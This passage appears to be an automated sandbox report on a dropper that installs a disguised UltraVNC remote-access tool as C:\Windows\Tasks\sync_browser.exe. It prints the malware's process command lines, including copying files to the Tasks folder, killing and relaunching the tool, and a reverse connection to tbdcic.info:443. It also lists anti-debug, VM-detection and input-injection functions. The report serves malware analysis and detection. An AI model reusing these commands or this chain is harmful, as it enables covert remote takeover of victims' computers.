Source: C:\Windows\Tasks\sync_browser.exe	Code function: OpenSCManagerA,EnumServicesStatusA,GetLastError,EnumServicesStatusA,OpenServiceA,QueryServiceConfigA,GetLastError,QueryServiceConfigA,CloseServiceHandle,CloseServiceHandle,		23_2_00007FF7E5079D00
Source: C:\Windows\Tasks\sync_browser.exe	Code function: OpenSCManagerA,EnumServicesStatusA,GetLastError,EnumServicesStatusA,OpenServiceA,QueryServiceConfigA,GetLastError,QueryServiceConfigA,CloseServiceHandle,CloseServiceHandle,		26_2_00007FF7E5079D00

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 433	Jump to behavior
Source: C:\Windows\Tasks\sync_browser.exe	Window / User API: threadDelayed 1352
Source: C:\Windows\SysWOW64\timeout.exe	Window / User API: threadDelayed 363
Source: C:\Windows\SysWOW64\timeout.exe	Window / User API: threadDelayed 365
Source: C:\Windows\SysWOW64\timeout.exe	Window / User API: threadDelayed 362

Source: C:\Windows\Tasks\sync_browser.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_23-22293

Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Windows\Tasks\sdABZ4.E1924R	Jump to dropped file
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\sdABZ4.E1924R	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Windows\Tasks\conhost.exe	Jump to dropped file

Source: C:\Windows\Tasks\sync_browser.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_23-22671

Source: C:\Windows\Tasks\sync_browser.exe	API coverage: 3.5 %
Source: C:\Windows\Tasks\sync_browser.exe	API coverage: 1.2 %

Source: C:\Windows\Tasks\sync_browser.exe TID: 1056	Thread sleep time: -135200s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 3920	Thread sleep count: 61 > 30
Source: C:\Windows\SysWOW64\timeout.exe TID: 336	Thread sleep count: 33 > 30
Source: C:\Windows\SysWOW64\timeout.exe TID: 7484	Thread sleep count: 363 > 30
Source: C:\Windows\SysWOW64\timeout.exe TID: 7484	Thread sleep time: -36300s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 7312	Thread sleep count: 365 > 30
Source: C:\Windows\SysWOW64\timeout.exe TID: 7312	Thread sleep time: -36500s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 4816	Thread sleep count: 362 > 30
Source: C:\Windows\SysWOW64\timeout.exe TID: 4816	Thread sleep time: -36200s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 6560	Thread sleep count: 317 > 30
Source: C:\Windows\SysWOW64\timeout.exe TID: 6560	Thread sleep time: -31700s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Tasks\sync_browser.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\timeout.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\timeout.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_00403387 GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	0_2_00403387
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_00402EE6 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	0_2_00402EE6
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5096DD1 OpenInputDesktop,CloseDesktop,GetTickCount,GetLogicalDriveStringsA,GetDriveTypeA,SHGetMalloc,SHGetSpecialFolderLocation,SHGetPathFromIDListA,SetErrorMode,FindFirstFileA,SetErrorMode,lstrlenA,FindNextFileA,FindClose,LeaveCriticalSection,	23_2_00007FF7E5096DD1
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5075910 GetModuleFileNameA,FindFirstFileA,SendMessageA,FindNextFileA,FindClose,	23_2_00007FF7E5075910
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E512A228 __doserrno,_errno,_invalid_parameter_noinfo,_errno,__doserrno,_getdrive,FindFirstFileExA,_errno,_errno,_errno,_errno,_errno,GetDriveTypeA,free,free,_errno,__doserrno,_wsopen_s,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,FindClose,	23_2_00007FF7E512A228
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509C210 SetErrorMode,FindFirstFileA,SetErrorMode,FindClose,	23_2_00007FF7E509C210
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5096DD1 OpenInputDesktop,CloseDesktop,GetTickCount,GetLogicalDriveStringsA,GetDriveTypeA,SHGetMalloc,SHGetSpecialFolderLocation,SHGetPathFromIDListA,SetErrorMode,FindFirstFileA,SetErrorMode,lstrlenA,FindNextFileA,FindClose,LeaveCriticalSection,	26_2_00007FF7E5096DD1
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5075910 GetModuleFileNameA,FindFirstFileA,SendMessageA,FindNextFileA,FindClose,	26_2_00007FF7E5075910
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E512A228 __doserrno,_errno,_invalid_parameter_noinfo,_errno,__doserrno,_getdrive,FindFirstFileExA,_errno,_errno,_errno,_errno,_errno,GetDriveTypeA,free,free,_errno,__doserrno,_wsopen_s,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,FindClose,	26_2_00007FF7E512A228
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509C210 SetErrorMode,FindFirstFileA,SetErrorMode,FindClose,	26_2_00007FF7E509C210

Source: C:\Windows\Tasks\sync_browser.exe

23_2_00007FF7E5096DD1

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E5076060 GetProcAddress,GetVersion,GetProcAddress,GetSystemInfo,GetSystemInfo,

23_2_00007FF7E5076060

Source: sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: sync_browser.exe, 00000017.00000002.3170525650.0000000002CB6000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 0000001A.00000002.1500112445.0000000003266000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: sync_browser.exe, 00000017.00000002.3170525650.0000000002CB6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -pSST Authoty\NetLocalSystemHyper-V Guest Service Interface
Source: sync_browser.exe, 0000001A.00000002.1500112445.0000000003266000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: sync_browser.exe, 00000017.00000002.3170525650.0000000002CB6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\svchost.exe -k ICService -pCSSLaLocalSystemionHyper-V Remote Desktop Virtualization Serviceration
Source: sync_browser.exe, 0000001A.00000002.1500112445.0000000003266000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\svchost.exe -k ICService -pLocalSystemHyper-V Remote Desktop Virtualization Service
Source: sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: sync_browser.exe, 00000017.00000002.3170525650.0000000002CB6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -pLocalSystemHyper-V Data Exchange Service
Source: sync_browser.exe, 00000017.00000002.3170525650.0000000002CB6000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: sync_browser.exe, 00000017.00000002.3170525650.0000000002CB6000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 0000001A.00000002.1500112445.0000000003266000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: sync_browser.exe, 00000017.00000002.3170134622.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 0000001A.00000002.1499873196.000000000140B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: sync_browser.exe, 0000001A.00000002.1500112445.0000000003266000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -pLocalSystemHyper-V PowerShell Direct Servicek,_
Source: sync_browser.exe, 0000001A.00000002.1500112445.0000000003266000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -pLocalSystemHyper-V Guest Service Interface
Source: sync_browser.exe, 0000001A.00000002.1499997425.00000000017D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Windows\Tasks\sync_browser.exe	API call chain: ExitProcess graph end node			graph_23-21965
Source: C:\Windows\Tasks\sync_browser.exe	API call chain: ExitProcess graph end node

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E51347E4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

23_2_00007FF7E51347E4

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E50826B0 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,WTSGetActiveConsoleSessionId,Sleep,GetLastError,sprintf,OutputDebugStringA,Sleep,FreeLibrary,FreeLibrary,

23_2_00007FF7E50826B0

Source: C:\Windows\Tasks\sync_browser.exe

23_2_00007FF7E50D9BC0

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: 0_2_0040236F LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

0_2_0040236F

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E51347E4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00007FF7E51347E4
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5127220 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_00007FF7E5127220
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E51347E4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_00007FF7E51347E4
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5127220 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00007FF7E5127220

Source: C:\Windows\Tasks\sync_browser.exe

Code function: LoadLibraryA,GetProcAddress,GetProcAddress,GetSystemMetrics,GetCurrentProcessId,CreateToolhelp32Snapshot,Process32First,CloseHandle,FreeLibrary,CloseHandle,FreeLibrary,Process32Next, explorer.exe

26_2_00007FF7E50D9BC0

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E5083E20 GetVersionExA,GetModuleFileNameA,GetForegroundWindow,ShellExecuteExA,

23_2_00007FF7E5083E20

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E50874C0 keybd_event,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,TryEnterCriticalSection,LeaveCriticalSection,keybd_event,

23_2_00007FF7E50874C0

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E5094D7E OpenInputDesktop,CloseDesktop,GetTickCount,GetSystemMetrics,GetSystemMetrics,mouse_event,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCursorPos,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,mouse_event,SystemParametersInfoA,SystemParametersInfoA,

23_2_00007FF7E5094D7E

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /y "%CD%\." "%CD%\..\..\..\..\..\..\Windows\Tasks\"	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & copy 5482310161066753 5482310161066753.cmd	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & 5482310161066753.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\Lom.pdf"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im sync_browser.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im sync_browser.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Tasks\sync_browser.exe C:\Windows\Tasks\sync_browser.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Tasks\sync_browser.exe C:\Windows\Tasks\sync_browser.exe -autoreconnect -id:user-PC_Thj0Wf -connect tbdcic.info:443	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 4	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im sync_browser.exe			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im sync_browser.exe			Jump to behavior

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E5087B90 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,ConvertStringSecurityDescriptorToSecurityDescriptorA,GetLastError,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,CreateFileMappingA,MapViewOfFile,CreateEventA,CreateEventA,CreateFileMappingA,MapViewOfFile,CreateEventA,CreateEventA,

23_2_00007FF7E5087B90

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: 0_2_0040244E AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_0040244E

Source: GIjul8.QTIrrr.0.dr	Binary or memory string: Program ManagerProgmanSHELLDLL_DefViewFolderViewSysListView32BlockInputtimerscreenupdatemouseupdateuser1user2quitrestartvncdesktop.cpp : ~vncDesktop
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: vncmenu.cpp : ########### Shell_TrayWnd found %i
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: Location: // basicwinhttp.dllWinHttpGetIEProxyConfigForCurrentUser;http=https==UltraVNC.ini -settingshelperWinsta0\DefaultShell_TrayWndpasswdUltraVNCpasswd2isWritablePermissions{34F673E0-878F-11D5-B98A-57B0D07B8C7C}{34F673E0-878F-11D5-B98A-00B0D07B8C7C}0~
Source: sync_browser.exe, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr	Binary or memory string: Program Manager
Source: sync_browser.exe, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr	Binary or memory string: Shell_TrayWnd
Source: sync_browser.exe, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr	Binary or memory string: Progman
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: WTSUnRegisterSessionNotificationvncmenu.cpp : ########### Shell_TrayWnd found %i

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,

0_2_00402187

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: 0_2_00401815 ??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetLocalTime,SystemTimeToFileTime,??2@YAPAXI@Z,GetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,GetLastError,??3@YAXPAX@Z,GetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,

0_2_00401815

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E50D9EF0 GetProcessWindowStation,GetUserObjectInformationA,GetLastError,SetLastError,RevertToSelf,GetUserNameA,GetLastError,GetLastError,

23_2_00007FF7E50D9EF0

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E512DF80 _lock,_get_daylight,_get_daylight,_get_daylight,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

23_2_00007FF7E512DF80

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: 0_2_00405721 ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z,GetVersionExW,GetCommandLineW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,GetCommandLineW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCurrentProcess,SetProcessWorkingSetSize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,_wtol,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,

0_2_00405721

Stealing of Sensitive Information

Yara detected UltraVNC Hacktool

Source: Yara match	File source: 26.0.sync_browser.exe.7ff7e5070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.sync_browser.exe.7ff7e5070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.sync_browser.exe.7ff7e5070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.sync_browser.exe.7ff7e5070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1299009306.0000000002904000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1500421713.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1299366156.000000000062B000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.1496705820.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.1422085476.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Olz7TmvkEW.exe PID: 1240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sync_browser.exe PID: 2044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sync_browser.exe PID: 1840, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Tasks\GIjul8.QTIrrr, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\GIjul8.QTIrrr, type: DROPPED
Source: Yara match	File source: C:\Windows\Tasks\sync_browser.exe, type: DROPPED

Remote Access Functionality

Yara detected UltraVNC Hacktool

Source: Yara match	File source: 26.0.sync_browser.exe.7ff7e5070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.sync_browser.exe.7ff7e5070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.sync_browser.exe.7ff7e5070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.sync_browser.exe.7ff7e5070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1299009306.0000000002904000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1500421713.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1299366156.000000000062B000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.1496705820.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.1422085476.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Olz7TmvkEW.exe PID: 1240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sync_browser.exe PID: 2044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sync_browser.exe PID: 1840, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Tasks\GIjul8.QTIrrr, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\GIjul8.QTIrrr, type: DROPPED
Source: Yara match	File source: C:\Windows\Tasks\sync_browser.exe, type: DROPPED

Contains VNC / remote desktop functionality (version string found)

